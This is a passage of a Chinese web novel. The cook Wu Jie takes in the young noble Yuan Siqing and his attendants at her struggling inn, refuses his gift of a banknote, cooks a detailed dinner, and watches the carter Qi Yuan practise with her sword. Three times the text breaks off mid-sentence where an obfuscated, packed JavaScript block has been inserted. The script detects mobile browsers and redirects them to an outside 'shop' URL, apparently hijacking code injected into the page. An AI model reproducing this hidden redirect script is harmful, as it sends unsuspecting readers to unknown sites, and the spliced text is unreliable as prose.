也是，三岁丧父、打小入庙，这哪里像是被母亲放在心上宠爱的男儿？ 更似个避之不及的累赘才是！ 张掌柜在心中慨叹，想来那原家主君大约是个薄情之人。 这原公子又是不曾被记在正室名下的庶出，如此一来，他所获得的宠爱大半都要依靠亲父。 亲父一去，小小一个男儿，竟被逼得遁入家庙保得安稳，倒也可怜。 张掌柜连忙讲了些惋惜感动的话，而后又问道：“……不知原公子父家还有哪些人呢？” 齐大娘的笑容没有一丝阴霾：“我们夫人便是姓齐的。夫人在时，父家有几个姐妹，是跟着我们家君出门做事。只是后来家君顾不上，就把她们给了主夫的父家差使，如今也是极得力的。” 好，什么也不用问了。 原公子所能依靠的父家的人手，估计也只有眼下这小猫三两只，全被他自己随身带过来了。 这就好，这就好。 张掌柜不知何时绷紧的心弦，悄然放松。 她不得不承认，这数月来的各种打砸与威慑，到底在她心中留下了痕迹。 张掌柜现在见不得那种有财有势逼上门来的人，哪怕是面对原公子这样一个说话轻声细语的年轻男子，也会在不知不觉间被勾起警惕与后怕。 心里这么一松，张掌柜忽然就意识到，自己先前对原公子的反应有些过激了。 婚事总可以慢慢地谈，成与不成自是缘法，难得有定论的。 齐大娘也看出了张掌柜神情的松动，眉目跟着染上少许喜意。 与此同时，听完全程的乌婕揉了揉自己的手臂，决定作为当事人发表一下自己的看法。 “公子为何要嫁我？你明明能有更好的选择。” 亲父早逝、亲母不爱、父族难靠……这些都是劣处，可是公子毕竟还姓原，不是全无倚仗。 他手里甚至梳拢着一笔丰厚的钱作陪嫁。 也许那是他父亲给他留的后手，但既然能保到如今，说明公子也不是个软弱的人。 所以，他为何找上陌生的自己？ 原公子终于在没有帷帽阻隔的情况下，堂堂正正地对上了乌婕的眼睛。 他专注地望着她，笑容很柔软：“父亲说，你是很好的人。” 先父遗命，无懈可击的理由。 乌婕有点想耸肩，但是动作之前，她及时想到这是自己在“外面”染上的习气，连忙在张掌柜眼下忍住了。 她对公子说：“我听说，婚姻大事，关系男子一生，不能轻定。我与公子此前从未见面，承蒙贺师与尊父之谊，尊父如此信我，我也应该回报。如今风云楼虽然落魄，倒还有几间好房可供落脚，若是公子愿意，就请带人住下，我断不会冒犯公子。” 我知道，你是走投无路了才找到我这里来。 但我不是趁人之危的人，也不会无缘无故地吃下能把人噎死的好处。 她的表情无比诚恳，公子看着看着，慢慢拉平了嘴角。 张掌柜在一旁帮着乌婕描补：“孝丰虽小，但也有些可游览的地方。原公子只当是来亲戚家散一散心，愿意住多久便住多久，也让我们替老贺的故人之子尽些心。” 若不是原公子一行人中看起来武力不错的唯有那个车妇齐元，如此多事之秋，张掌柜绝不会这么轻易地将她们留下。 她一边说，一边就起身向外走去，打算替她们搬些行李。 齐大娘明显还想为原公子的终身大事再努努力，但是女方家已经表了态，她再赶着就有些过了。 于是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371152|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能怀着忧虑看了原公子一眼，匆匆追上张掌柜的脚步，和她在门外推让客气起来。 乌婕本也想出去帮忙，但是原公子请她留下陪自己坐一坐，转头叫那小仆去车上取个什么点心过来。 等到桌子旁只剩下乌婕与他，原公子才轻声问道：“两位娘子如此盛情，我是却之不恭了。只是，既然日后要长日相处，我该如何称呼乌娘子呢？” 乌婕礼貌地避开了视线，低头看着桌面，只当这句话是个单纯的问句。 她不认为这是什么大事，随口建议：“公子若是愿意，可以唤我一声乌姊。” 又是故人又是亲戚的，这么有缘分，那就当干姐弟处着吧。 公子应了一声“好”，礼尚往来道：“乌姊请唤我一声‘四卿’。” 乌婕：？ 她不由询问道：“如此称呼，是否有些太过亲密了？” 公子的声音里带着惊讶，“乌姊为何如此想？我是母亲的第四个男儿，家中长者都叫我‘四卿’的，乌姊不是长我四五岁么？” 乌婕思考了一下，回复道：“五岁。” 公子连连点头，严肃地重复称呼：“乌姊。” 既然如此，乌婕也就不好推辞了。 反正“四卿”只是听着亲密些，又不是什么约定俗成的爱称，更不是他的闺名，叫便叫了吧。 于是乌婕从心地叫他：“四卿。” 公子抬起手，伸进自帽沿垂下的帷幕中，摸了摸自己的脸颊。 乌婕总觉得他在笑，但又不好直接问他，那样便显得冒昧了。 罢了，男儿心思总难猜。 两人搭话间，原四卿身边的那个小仆，唤作浣竹的，终于抱着一大盒点心，小跑着回来复命。 乌婕看了一眼，忽然觉得这个浣竹有些懂事的可爱。 又想到他的年纪应该与张怜的差不太多，两个人日后说不定还能玩在一起，遂友善地向他点了点头。 原四卿本来站在原地不动，等浣竹将点心摆在桌上。 不知怎么，他无端迈出几步，主动迎上去伸出手臂，从浣竹怀里接去了点心盒子，而后亲自送给乌婕。 “从百江一路来此，沿途多见食坊。”原四卿讲话总是慢条斯理，带着让人难以拒绝的诚恳，“这些蜜渍的点心，是在樊冬城的百果坊所购，夏日无冰也可久存，少食不妨。乌姊的厨艺习承自贺大厨，必是极好的，请替四卿评判一二，好教我长些见识。” 乌婕知道百果坊的名声，但并没有亲自去过樊冬城的那一家，于是她很自然地回复：“多谢四卿。” 在厨艺一道上，乌婕是再认真不过的。 她接过盒子，毫不忸怩地直接打开，准备捻出一块尝一尝。 但是。 盒子一打开，乌婕第一眼看到的，并不是那些被油纸层层包裹的点心，而是盖在它们最上面的、一张五千两的银票。 乌婕微微皱眉。 “……四卿这是何意？” 原四卿仿佛被她吓着了，声音格外放低了一些：“乌姊不要和我客气，这是家用。” 他顿了顿，强调道：“不是陪嫁。” 乌婕原本还有些情绪，听他这么认认真真一解释，顿时哭笑不得。 她把盒子放回到桌上，向着原四卿拱手一礼，“四卿盛情，但我实在不能收用。” 哪有年长的姊姊，向年轻的弟弟收取家用的道理？ 5. 上灶开火 原四卿遭遇了乌婕温和的拒绝，看起来有些不知所措。 他闷闷地问：“乌姊可是嫌弃我给的少了？” “一点不少！你给这么多，花也花不完的。” 乌婕按着那装着银票的点心盒子，往满眼天真的富家公子的方向推了推。 五千两是什么概念？ 之前那群打手混混拿着五百两的借条打上风云楼，都能把张掌柜逼得狼狈不已。 这其实是因为，五百两就不是个可以叫人游刃有余地应对的小数字。 如果是全盛时期的风云楼，倒是能一下子把钱拿出来，但该心疼的时候还是会心疼。 此前乌婕奔丧回家，和那狗腿子一来一回地对峙。 她言之凿凿地用“这五百两我能还，还了风云楼就给我”说事，表面看着一点都不心虚，事实上嘛—— 就算狗腿子当场给她认栽，同意乌婕拿钱平账，她……也还不起。 乌婕只是在赌。 赌对方不是光明正大的真债主，而是心思诡谲的恶小人。 这个一看就知道了，乌婕还不至于走了眼。 赌她们背后的人的势力做不到一手遮天的程度，一定得先使手段拿到地契，才能上下打通关节，真正夺走风云楼基业。 这一点也很好猜。如果对方真的是杀人不眨眼的狠角色，张掌柜未必能撑到乌婕回来。 还要赌贺常璋的名声与为人……噢，这个都不用赌。 贺常璋不是那种背着家里人借钱的性子。不管她是要拿钱填窟窿还是找乐子，但凡是冲外人借了钱，她都不会对内瞒的。 那些人根本不敢把那张借条交到乌婕手里，因为借条就是她们耍的污糟的手段！ 因此，即使那些打手退走时明摆着不会善罢甘休，乌婕心中也没有多少惧意。 反正她人没欠钱，手里有锅，敌人又不够强。 就算对方最后狗急跳墙了，乌婕躲不起，难道还跑不起吗？ 当然了，能不跑还是不跑的好。 不管是她还是张掌柜，除非被逼上绝路，都不打算放弃风云楼。 啊，一时想得远了。 乌婕回过神来，看着眼前默默咬住嘴唇的原四卿，重复道：“你既然叫我一声乌姊，那在我这里，就没有让弟弟给姐姐家用的道理。咱们家现在——” 虽然落魄了，但还没到山穷水尽的地步……？ 乌婕随意指向四周的手臂在空中划了一下，整个人忽然沉默下来。 原四卿、浣竹跟着她手指的方向，一起打量着空寂的风云楼大堂。 此时，除了乌婕三人正围着的这张桌子还算体面干净，周遭的其他桌椅看起来都挺狼狈。 更不必说角落里堆着的一些碎片残骸、墙面附近歪七扭八的挂画摆设、地上还没来得及打扫干净的带尘脚印…… 这也不能怪乌婕手脚不利落，实在是原家主仆来得太不是时候了。 乌婕闭了闭眼睛，笑对生活。 原四卿很乖巧地没有多看，也没有多问，而是垂眼看了看点心盒子，“我是真心把乌姊当姐姐看待，我们又有旧的，现在也算是一家人。乌姊要主持家业，管我吃住，忙里忙外的，少不得银钱耗费。所以，乌姊只管收下来用着，否则，我、我心中不安得很。” 原四卿一边说，一边抬手抓着了自己的衣襟，又是皱眉，又是含胸的。 他装得其实很不走心，只是因为身形单薄，再衬着那苍白的脸色，这才显得唬人。 浣竹就明显被唬住了，发着急去扶公子，一面还劝乌婕：“公子叫你收着，你就快收着呀。怎么还有人把钱往外推的，你是不是傻！” 傻子乌婕十分无奈：“你们公子就带了三个人来，加他一共四个。就叫你们放开了吃，能吃多少银子？” 浣竹大声说：“少看不起人了，这点银子，我一个人就吃得完！” 原四卿弱声道：“我吃得贵。” 嘿，这俩人还一唱一和呢。 乌婕听了个乐，也不说收不收钱的事了，只对着小孩儿似的主仆俩摆手道：“家用的事不归我管，都是张姨操心。我只管到灶台上做饭去，你们饿是不饿？我给你们做银子吃。” 浣竹追着问：“银子？银子也可吃的？” 乌婕不答，往外看了看天色，确认再过不久就是该用晚食的时辰。 她挽了袖子，拿起被搁在一旁的铁锅并包裹，问原四卿：“你们可有什么忌口没有？” 原四卿想了想，“我不能吃辛味，齐元不爱吃太甜的。” 医道与食道贯通，所谓五味，常说的就是酸、苦、甘、辛、咸。 车妇齐元不爱吃甜倒是无妨，不把甜菜往她面前摆就是了。 而原四卿不吃辛味，那便是避讳了姜、蒜、葱与椒，想来若有那生冷刺寒的，也不能给他入口。 乌婕在心中略微调整了一下菜色，利落点头，“我省得了，你们先去安顿。” 张掌柜和齐大娘只顾搬行李，齐元自去卸车喂马，乌婕此时要去后厨，原家主仆该让谁去招呼？ 还不等原四卿主动表示他无需关照，乌婕已微微仰起头来，冲二楼喊道：“小怜——” 二楼立刻便探出一个脑袋，把浣竹吓了一跳。 乌婕沉稳地吩咐道：“你领着这两个哥哥去楼上的东房，帮他们弄一弄铺盖，叫他们好好休息。” 张怜一听，就从楼上小跑下来，站到原四卿他们面前，也不说话，就静静看着。 浣竹瞪大眼睛看着他，一会儿觉得这个穿着灰褂子的男孩子像十一二岁，一会儿又觉得他是七八九岁，心里纠结得很。 原四卿的眼神只在张怜的脸上扫了一下，接着就绽放出了友好的笑意。 乌婕根本没发觉他们的眉眼官司，匆匆去了后厨开火。 贺常璋已去，风云楼原先的厨子们也都请辞了，乌婕先前又在外头，后厨便受了好一阵子冷落。 即使有张掌柜和张怜日日用心打扫，偶尔也使个小锅小灶，但凭她们两人是养不起大灶台的。 乌婕疾步走过去，不急着看锅，先弯腰瞧瞧大灶的灶堂子，伸手摸摸砖缝，又捻了把残灰，确认该用的还能用，这才松了口气。 她从立在后厨一角的大水缸里舀水净了手，开了包裹，从中抱出好些精心包装着的粉末调料，挑了几瓶摆上料台。 然后，填柴烧灶，架锅过水。 乌婕抓起一把硬柴，对着火心处捅了两下，手一松，借着腕力把柴朝里一送。 火苗“呼”地一声腾跃起来，黏上了大锅又宽又深的底。 灶堂烧得旺旺的，大锅内的白气直往外跑。 乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371153|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婕任那水架在灶上，先取了后厨最好的碧梗米来淘，冷水泡上。 然后另起一只粥锅，架上小灶，里面不煮旁的，先扔些干百合进去，也不盖锅。 百合碧梗米粥是最好做的，米要先冷浸一阵，赶在百合被烫碎之前下锅加盖，一直熬得米粒开花，百合软烂，醇香的米油缓缓析出，正可混入百合的清润。 到时一锅盛出，只会见到浅碧的米，乳白的汤。 入口之后不需咀嚼，米粥就温温滑滑地溜进了腹中，不会生腻，也最养身。 而等连着吞了几勺，百合的清香会才在唇齿漫开，微微的凉，浅浅的甘。 那边大灶的水已冒着泡在叫人了，乌婕便把脚步挪了过去。 先前在唐家的时候，乌婕其实没怎么主持过大灶。 毕竟那是人家的主场，自己又是去学艺的，做事须得低调。 时隔半年，她重新站回到自家的灶台上，只觉得神清气爽，干什么都顺手。 她取了先前答应要给浣竹他们做的“银子”，洗净切丝，刀光快得几乎汇成了一道。 待乌婕收刀时，那白生生、细长长、弯溜溜的“银子”还搁在案台上，看起来和下刀前没什么区别。 乌婕把专切淡味菜蔬的菜刀插回原处，另一手在“银子”表面轻拂而过，掌下顿时就开出了一朵以细直银丝拼起的白瓣花。 好花配好碗，冷水澹澹，银花颤颤。 乌婕在旁边另摆起一只料碗，清酱滴醋，再放香油、腐乳，用黄果汁提鲜，又在上面撒些碎菜末、白芝麻，连搅拌开。 调弄酱汁的间隙里，乌婕顺带往大灶上看了一眼。 “银花”开，白水沸，一切都是恰恰好。 她用长筷一把接一把地将“银条”从冷水碗里夹出，快速在滚水里烫过。 每一次都掐得分秒不差，正好让“银条”处在微蜷而不断的状态，盘在干干净净的青瓷碟子中。 银瓣大花先被拆碎，又被水烫，而后由乌婕随手摆在盘中，等到所有的“银条”都进了盘，恰好就堆起了一个造型可爱的元宝塔，看着真和一块银元宝似的。 乌婕沉吟片刻，想到这一盘是“孩子菜”，顺手往上头添了一层蜂蜜蘸白糖。 “银子”菜有了，米粥也熬上了，乌婕开始做大菜。 她这边是三人，原四卿带了四人，又是初次合餐，起码也要弄出三盘大菜才行。 奈何时间不等人，主客都饿着肚子，没给乌婕太多发挥的余地。 她特意取了风干的牛肉同拔好毛的整鸡来，以此节省备菜的时间。 牛肉切片，同样是用滚水烫到微微软，装盘摆在一边。 乌婕手脚麻利地给鸡开膛破肚，焯水去沫，再捞出整只，往表面撒些细盐。 而后将大锅中的烫水排尽，略略热干，迅速铺下一层粗盐，用锅铲快炒至微热。 再把整鸡用油纸包了，埋在烫热的粗盐中，盖好大锅，减柴降火，静静焖着做盐焗鸡。 乌婕忙中有序，随后又端起烫软再晾干的牛肉片，分成两拨，一拨干煸之后，加了葱姜，剁断蒜薹，一起下锅快炒；另一波则打成肉泥翻炒，再加些浓豆酱和糖一起熬，做成热乎乎的稠肉酱，专门给原四卿备着。 他沾不得重辛，万一又吃不了盐焗鸡，总得给他备些肉食添味的。 6. 好菜出锅 灶台之上，大锅小锅排排蹲坐。 灶台之下，大厨小孩面面相觑。 乌婕一手还握着锅铲，眼睛分了一半给突然钻进后厨的张怜：“你怎么过来了？那两个哥哥安顿下来没有？” 张怜乖乖回答：“都安顿好了，大哥哥还给了我糖吃。” 他松开紧握的掌心，里面正好放着一块晶莹剔透、边角规整的松子糖。 看着就贵，想来“原大哥哥”也是个出手阔绰的。 乌婕一面翻炒，一面叮嘱他：“既然哥哥也给了你糖，那你今天就吃两块糖了，明天不准多吃，仔细坏了牙。” 张怜顶嘴说：“东家给的糖大，哥哥给的糖小，只能算一块半，没有多吃。” “哎你这糖嘴巴！” 说归说，乌婕倒也没真打算跟张怜在这一块半块的糖果上计较。 她这边刚把牛肉炒好，混着青翠的蒜薹出锅装盘，那边张怜已经很乖巧地走去小锅灶上，揭开锅往里看。 灶上的全是家常菜，不必担忧掀盖子抽干柴之类的动作会扰乱火候，乌婕随口问：“粥好了没有？” 张怜果然回答：“瞧着还差一点。” 乌婕心里计着时间呢，确定情况和自己料想的不差，转而吩咐张怜道：“去洗些红玉果来，剥皮去核，捣碎了做果子泥。” 红玉果是正当时节的东西，个头小、颜色红、口味甜，去了核便再没有一丝的酸味。 捣成泥后，可以做零嘴，可以拌粥饭，据说能滋养容颜，味道又好，颇受欢迎。 唯一可惜的是不耐贮存，上市快下市更快，一年十二月，大约也就能维持一个月上下的供应。 因此，不管红玉果的功效是不是真，家中有孩子、有内眷的，见到了就会买些备着。 风云楼里原来只有张怜一个男孩子，红玉果除非是拿来配菜，一般都是照着他一个人的份量买。 现在多了原四卿和浣竹主仆两个，日后大可以多备些，不怕消耗不完。 张怜跑去拣了果子，很熟练地洗淘两遍，放进一个他能双手捧着的大碗里，端上案台。 他问正忙着搅动肉酱的乌婕：“东家，果子泥要分几碗？” 乌婕一想，那个齐元不爱吃甜，张掌柜恐怕不会在客人面前吃这个，自己也不至于贪这一口。 那就是张怜一碗，原四卿一碗，浣竹一碗。 齐大娘不知道会不会吃，但她不是当地人，此前未必尝过这果泥，用个新鲜也是好的。 于是乌婕便吩咐张怜说：“分四碗……不，五碗吧，你捧一小碗在后厨吃了，吃饭的时候再用一小碗。” 张怜高兴地答应了，连捣果泥的动作都更有力气了些。 乌婕转头看了看熬肉酱的锅子，估摸着还得一阵，便先去把焗着粗盐和鸡的大灶台里的小火灭掉，改用余温慢慢焖熟。 粥锅下的灶火同样灭掉，剩一点余热去保温。 然后是刚炒出来的牛肉菜，须得摆一摆盘。 乌婕很有耐心地将蒜薹绕着牛肉摆作一圈，而后将余下的青段和中央的牛肉堆起，顶端浇一点微微烫热的香油，撒了十多粒白芝麻。 ……然后她就夹走了那块又有香油、又有白芝麻的牛肉，放进了自己的嘴巴。 嗯，火候刚刚好，真香！ 等到张怜捣好了果子泥，分作四碗端出的时候，乌婕也端着两盘大菜从后厨出来了。 张掌柜已经把原四卿等人招呼到了一张新的大桌上，原本环境破败的大堂也变了个样子，又空又干净。 乌婕先将蒜薹炒牛肉、盐焗全鸡摆上桌，又取了粥锅掀盖，搁在副桌上。 碧米百合的香味随着热气腾升，惹得齐元转眼一瞥。 乌婕拒绝了原四卿和齐大娘进入后厨帮忙的诉求，只让张怜去取碗筷。 原四卿身边的浣竹眨了眨眼睛，“哧溜”一下滑下椅子，跟着张怜一块往后厨跑。 乌婕“哎”了一声，齐大娘笑道：“乌娘子不叫我们动手，只是浣竹和小怜公子投缘，不好不叫他帮着的。” 从后面洗了碗筷捧出来的张怜不由得步伐一顿，发呆似地想，小怜公子是谁？是叫他吗？ 趁他愣神的功夫，浣竹敏捷地掠走了几副筷子，又伸手去托碗。 张怜马上醒了神，赶快把碗筷送去桌上了。 张掌柜笑道：“那我来分粥，都不许抢。” 齐元闷不吭声地站到副桌旁，张掌柜盛一碗，她就接一碗，然后由齐大娘再接，放到主桌上。 如此一来，似乎就只有原四卿一人在这场忙活中插不上手了。 张掌柜不会叫他动手，齐大娘私心里也不想自家公子受累。 但原四卿看起来并没有什么不适应的神色。 他安坐在座位上，左手边是帮忙分筷的浣竹，右手边是一个空位。 等到乌婕带着已经放凉的“银子”菜和熬好的肉酱回来时，粥和果泥皆已分好，大家陆续就坐，只差她一个了。 张掌柜帮着乌婕摆菜，而乌婕环视桌上，只发现了原四卿身边有一个空位。 那应该就是给她留的了。 乌婕没怎么犹豫就坐了下来，原四卿微不可察地松了口气，眼睛弯起。 但他没想到的是，乌婕坐下后并没有保持沉默，而是将那盛在碗里的稠肉酱摆在他面前，轻声道：“这一碗没沾辛料，四卿尝尝。” 原四卿：“……” 他一时竟没能想好答话，小心翼翼地捏起一只勺子，按乌婕说的，浅浅尝了一口。 然后又尝了一口。 做给原四卿的稠肉酱是混着熟牛肉泥、纯豆酱和冰糖熬的，每一样单分出来都是纯味，合起来则显得很有层次。 乌婕在调配时花了心思，没过多追求口味的平衡，反而调稀了豆酱，少放了冰糖。 豆酱鲜咸，冰糖润甜，拌在一起本该有些冲突。 奈何乌婕本就是打算拿它们去配牛肉，用鲜咸冲出浓香，以润甜中和干涩，中间小火不断，慢慢蕴出滋味。 原四卿一勺入口，先尝着的立刻就是牛肉的醇味，不粘不腻，绵密软弹，伴着一种奇妙的、勾人的咸香，却不至于咸到发苦的地步，而是恰到好处在舌尖上一点、一铺，勾着他继续往下尝。 他一连吃了三勺，如果说第一勺是感动，第二勺是上瘾，那么第三勺就是略带痛苦的克制了。 原四卿放下勺子，微微垂下眼睛，低声道谢：“多谢乌姊替我费心。” 乌婕观他神色舒缓，就知道他大约是喜欢的，顿时也放下了心。 两个人围着一碗肉酱产生了交集，纵然动作轻微，声音也低，但大家同坐一桌，她们又处于所有人的视觉中心，自然是被看了全程。 齐大娘心里只觉得高兴，张掌柜则略有些复杂。 齐元为人干脆，何况肚子也是真的饿了。 她见公子已经动勺，便也抬起了筷子，朝着大片的牛肉夹去。 张掌柜一见，连忙招呼齐大娘：“齐娘子也别客气，快吃，都吃！” 齐大娘笑着道好，却是先捧起了那碗果子泥，尝了一尝，称赞道：“果然是本味至美。” 但她并没有贪多，而是笑盈盈地捧着粥碗，吞了一口。 红玉果有些腻人的甜味被香浓的米粥一冲，前者立刻被后者盖过。 温热的米粥顺滑入喉，一直融进胃里，在夏日竟也不显寡淡，更不觉得粘腻。 齐大娘目中滑过一缕缕精光，又起了一勺粥来细尝。 碧梗米在原家不算特别金贵之物，齐大娘细细一品，便尝出了那种独特的清新米香。 但她没有急着吞咽，而是略含了一下，才在那绵密的米糊中品出了几乎被熬烂的百合。 似乎只是加了些百合而已，并不是多么少见的东西，可怎么味道吃着就是不一样？ 相较于原四卿和齐大娘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371154|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐元就没有那么多心思，只是专心吃饭。 一口牛肉，一口米粥，一口鸡肉，一口米粥，一口牛肉，一口…… 她只觉得牛肉爆香，米粥好喝，鸡肉细嫩，虽然没有大油大辣，但也都是能垫实肚子的味道。 浣竹的注意力则全在他面前的“银子”菜上。 公子的未来家君居然真的做了个银子啊？？ 他试探性地拿起筷子，没有去破坏“银子”中心的那块鼓起，而是在边沿一夹，夹起一根细细的、白白的“银条”，放进嘴里，嚼了嚼。 嗯，有桂花蜂蜜的味道。 “银条”咬下来是脆脆的，嚼起来内里微糯，口味不算多么惊艳，吃着只是脆爽。 但是，只要一想到他在吃银子，浣竹心里就觉得这道菜美味极了！ 他喜滋滋地又沿着刚才夹“银条”的位置去夹下一根，忽然又有一双筷子伸过来，夹走了他舍不得动的、“银元宝”中央鼓起的那一小堆。 整个“银元宝”瞬间变成了碎银，那双筷子可恶得就像一把银剪刀。 浣竹瞪了张怜一眼，而张怜已然把夹起来的那些“银条”蘸入自己面前的果子泥，美滋滋地吃了起来。 浣竹：“……” 他犹豫着，也一下子夹起好几根“银条”，蘸到面前的果子泥中。 这个张怜应该不是第一次吃了，也许他的吃法才是“银子”的最好吃法…… 甜得腻死人！！ 浣竹捂着嘴，强行把“银子”咽了下去，心中将兀自吃得开心的张怜又记了一笔。 真是个怪小孩！ 粥足菜饱，众人互相推让一番，乌婕主动挟了一半碗筷去后厨，同时也打扫灶台上的残痕。 她正洗着锅，却发现齐元迈步进了后厨，朝她颔首问道：“还有哪些要洗的？” 乌婕指了指另一个大水槽中堆着的盘碟，齐元便走过来开始帮忙清洗。 两个白天还在门口对峙过的人，晚上就并肩站在一块洗起了碗，乌婕忽然觉得十分有趣，忍不住勾起了唇。 齐元却明显有些不自在。 她先前载着原四卿前来投奔风云楼，不知道这里遇丧又遭难，只以为乌婕将她们拒之门外便是不讲礼节，对她的态度很有些不客气。 可是乌婕并没和她计较，收留了公子和她们，晚上又做了一桌子好菜招待。 承了人家的情，齐元心里的愧疚更深了。 但她人太直，一时也不知道怎么起头道歉，只能认真地边洗碗边琢磨，待会儿给乌娘子磕个头呢？会不会吓着她？ 乌婕可不知道齐元脑子里转着这样惊人的念头，但齐元脸上的表情确实好猜，一看就是心里在为难呢。 能让她为难的事情，想必也只有初见面时那些言语上的龃龉，于乌婕来说实在不算什么。 乌婕的目光落在了齐元左眼上方的刀痕上，而后者敏锐地一转脸，两人的视线顿时就对上了。 迎着齐元带着一丝疑惑的视线，乌婕并不打算追问旁人可能的痛处，只是客气地关怀道：“齐元大姊的房间安置在何处？不知可还能住得惯？” 齐元闷声说：“你跟着公子叫我齐元就是。” 然后她再回答乌婕的问话：“我跟张娘子说，叫我住在二楼的西房，不跟公子她们住三楼，因着我晨起还要练刀。房间很好，干净，也很习惯。” 乌婕眼前一亮。 “你会使刀？”她还是没办法对着齐元直呼其名，干脆先隐了称呼，“不知我能否见识一二？我家后院有的是空地，不会扰人。当然，若是太过冒昧……” 齐元说：“不冒昧。” 她现在还道不好歉，但乌婕有要求，她打算能满足的都尽量满足。 答应下来后，齐元犹豫了一下，问乌婕道：“我练刀常在寅时正二刻开始，你起得来么？” 乌婕笑道：“我是个厨子，总要早起备菜的，如何起不来了！” 7. 银票入袋 寅时一刻，齐元睁开了双眼。 入眼可见尽是陌生的环境，齐元的呼吸错乱了一瞬。 但她很快就反应过来，自己现在已经不需要在残破的家庙外日夜警戒了。 ……她现在是被公子的未来家君收留着。 身下的床铺并不十分柔软，是正正好的舒坦。上面额外铺了一层苇簟，消暑生凉，让人躺下便觉惬意。 齐元却毫无留恋地翻身下床，一面穿衣，一面打量着窗外黑沉的天色。 临出门时，齐元随手擎起了桌上的一根残烛。 然而，等她转过走廊，还没来得及走下木梯，就先看到了后院檐下悬起的一只橘黄的灯笼。 齐元怔了怔，轻握了一下手中小小的烛台。 乌婕果然如她先前说的那样，已然起身在后厨忙碌了。 西南角的大缸中盛满了一缸清水，盆子里甩着一块发好的面团，小灶上架着两口直冒白气的小锅，乌婕本人则在案台上“笃笃”地切着什么。 齐元要去后院练刀，则不可不路过后厨中的乌婕。 而她昨天答应了乌婕来见识她的刀，那就不可不在路过乌婕时停下来，招呼大厨一声。 “灶上煮的什么？”齐元问。 其实这问的也有私心：她的鼻翼轻轻抽动，闻到了一股诱人的羊肉味儿。 乌婕果然回答：“左边是羊肉汤，右边是芥菜米糁羹。” 羊肉味燥，夏天喝什么羊肉汤呢，还得是菜米羹的好。齐元想。 但是乌婕不知在两个锅子里放了什么，齐元闻不见一点野菜的味道，甚至那羊肉煮得也没有膻味儿，只有一股又一股轻柔的、翻滚着的肉香，一直往她脸上扑，往她嘴里钻。 齐元干巴巴应了一声：“哦。” 乌婕笑道：“本来今天不该做这芥菜米糁，可我昨天上灶不熟，熬的粥剩下一把子米，实在没处使。按我们楼里的规矩，米出袋就不可倒回的。等会儿张姨骂我的时候，你就当没听见。” 齐元还是：“……哦。” 说话间，乌婕手里仍然运刀不停，齐元看了一眼，发现她不是在切什么肉菜，切的就是面团。 面团按说是又软又韧不好割的，但落在乌婕手里就跟一块木头一般，由着她一刀一刀干脆地往下剁，中间甚至不必上手去扯。 先用刀刃剁下一块，再换成刀背一拍，立刻就把面给拍平了，变成个饼饼模样。 乌婕单手持刀，追着那饼一划，饼口剌开，另一只手已在旁边的馅盆里舀起了一团玫红色的花瓣沥汁的馅，朝面饼口内一填，一包。 馅是填得恰恰好，汁水一点不往外漏；面也包得恰恰好，收口自然得看不出痕迹。 玫花饼们一个个大小一致地摆在案上，连中心被花馅微微顶起的弧度都是一样。 齐元起先还在为明显是甜料的花瓣馅皱眉，后面就专注地看着乌婕用菜刀剁面，划饼，填馅，一气呵成。 那动作，行云流水，赏心悦目。 乌婕备的玫花馅其实并没有那么多，她动作又快，在齐元下来前，她就已经包了好些个。 很快，所有的玫花馅都被包完，乌婕便不再给饼子划口了，只拍些厚实的实心面饼形状，摆在另一边，泾渭分明。 她注意到了齐元的视线，抬头跟齐元解释：“这些甜饼子也只是甜甜嘴，要顶饱还是吃白饼。我之后再调一回豆酱，到时候蘸着吃，又鲜又香。” 齐元点点头，犹豫一瞬，还是说：“时候到了。” 乌婕也回头看了一眼后厨角落里的香漏，欣然道：“果然已是正二刻了，你先去，我再瞧瞧汤的火候，很快便来！” 齐元把手里原本举着的烛台摆在案台边，继续替她添亮，自己则两手握着刀，进入后院。 风云楼的后院很干净，最惹眼的是一口井。 井边一棵树，树下一张藤椅，椅子面朝着后厨廊下的几个太平缸。 齐元选了离树和井都比较远的空地，檐下那灯笼刚够照亮人的眉眼，刀的残光。 ——一柄刀，往黑乎乎的夜幕中劈去了。 乌婕站在后厨与后院的门槛上，定定地望着。 齐元练起刀来不知疲累，不知时辰。 她一直练到天光破晓，人醒鸡叫，张掌柜披衣过来问乌婕芥菜米糁羹好了没有，张怜蹲在蒸着玫花饼的灶火前掰指头。 她一直练到浣竹抱着个盆子来回打了三趟水，齐大娘和张掌柜各捧了一碗稠乎乎的汤羹到大堂里去对坐着喝了，乌婕被人轻声叫着“乌姊”叫回了头，一看是清水出芙蓉的原四卿凭栏倚靠在三楼。 